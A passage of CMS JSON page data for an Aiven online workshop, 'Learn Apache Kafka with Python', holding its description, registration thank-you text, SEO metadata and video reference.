spot"},"downloadLink":"https://aiven.io/developer-workshops","downloadText":"See all workshops","hasVideo":true,"image":{"_type":"mainImage","alt":"Learn Apache Kafka with Python"},"registerForm":{"iframeHeight":800},"registrationType":"demio","subtitle":[{"_key":"86b9b6307c16","_type":"block","children":[{"_key":"f71d2b302d2b","_type":"span","marks":[],"text":"In this online workshop you'll learn the basic components of Apache Kafka® and how to get started with data streaming using Python. "}],"markDefs":[],"style":"normal"},{"_key":"42fb4348caab","_type":"block","children":[{"_key":"be52e32a5de4","_type":"span","marks":[],"text":"This workshop is 2 hours long."}],"markDefs":[],"style":"normal"}],"summary":"In this online workshop you'll learn the basic components of Apache Kafka® and how to get started with data streaming using Python. We'll also give a brief introduction to transforming your data using Apache Flink®.","thankyouContent":[{"_key":"6203c054ac3a","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-9fbe8df971d04baae7cac77bb1404f988e8dcad1-5760x3240-png","_type":"reference"}},"imagePosition":"center","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"883e24227c32","_type":"block","children":[{"_key":"03073d7d0a06","_type":"span","marks":[],"text":"Thank you for your interest in "},{"_key":"e4aac85c2e28","_type":"span","marks":["strong"],"text":"Learn Apache Kafka with Python"},{"_key":"9a07b0ed6f1c","_type":"span","marks":[],"text":" workshop. You will receive a confirmation email with a calendar invite. See you in the workshop!"}],"markDefs":[],"style":"normal"}],"title":"Thank you for registering","variant":"mediaLeft"}],"title":"Learn Apache Kafka® with Python","videoHosting":"youtube","ytId":"0giSfPI0UnM"},"publishedAt":"2024-10-16T14:00:00.000Z","resourceTag":{"_type":"resourceTag","contentType":{"_ref":"d744ba0c-d4f2-4e41-9a7d-94be2b77a3ff","_type":"reference"},"tags":[{"_key":"6a2677b635d2","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"}]},"seo":{"_type":"metaData","metaDescription":"Learn the basic components of Apache Kafka and how to get started with data streaming using Python.","metaImage":{"_type":"mainImage","alt":"Learn Apache Kafka with Python","asset":{"_ref":"image-b2588501aa5a76154dc2edef890aeb1606aa6c70-1200x628-png","_type":"reference"}},"metaTitle":"Workshop | Learn Apache Kafka with Python"},"slug":{"_type":"slug","current":"/workshop/learn-apache-kafka-with-python"}}